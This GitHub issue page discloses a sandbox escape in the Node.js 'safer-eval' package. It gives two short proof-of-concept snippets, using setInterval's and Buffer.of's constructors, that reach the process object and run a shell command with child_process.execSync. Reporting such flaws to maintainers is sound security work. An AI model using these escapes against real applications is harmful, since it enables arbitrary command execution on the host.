We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
The following can be used to break out of the sandbox:
var saferEval = require("safer-eval"); var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();"; console.log(saferEval(code));
Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout
setInterval
clearInterval
clearTimeout
setTimeout
The text was updated successfully, but these errors were encountered:
Using Buffer:
var saferEval = require("safer-eval"); var code = "Buffer.of.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();"; console.log(saferEval(code));
Sorry, something went wrong.
No branches or pull requests
The following can be used to break out of the sandbox:
Other than
setInterval
, one can also useclearInterval
,clearTimeout
andsetTimeout
The text was updated successfully, but these errors were encountered: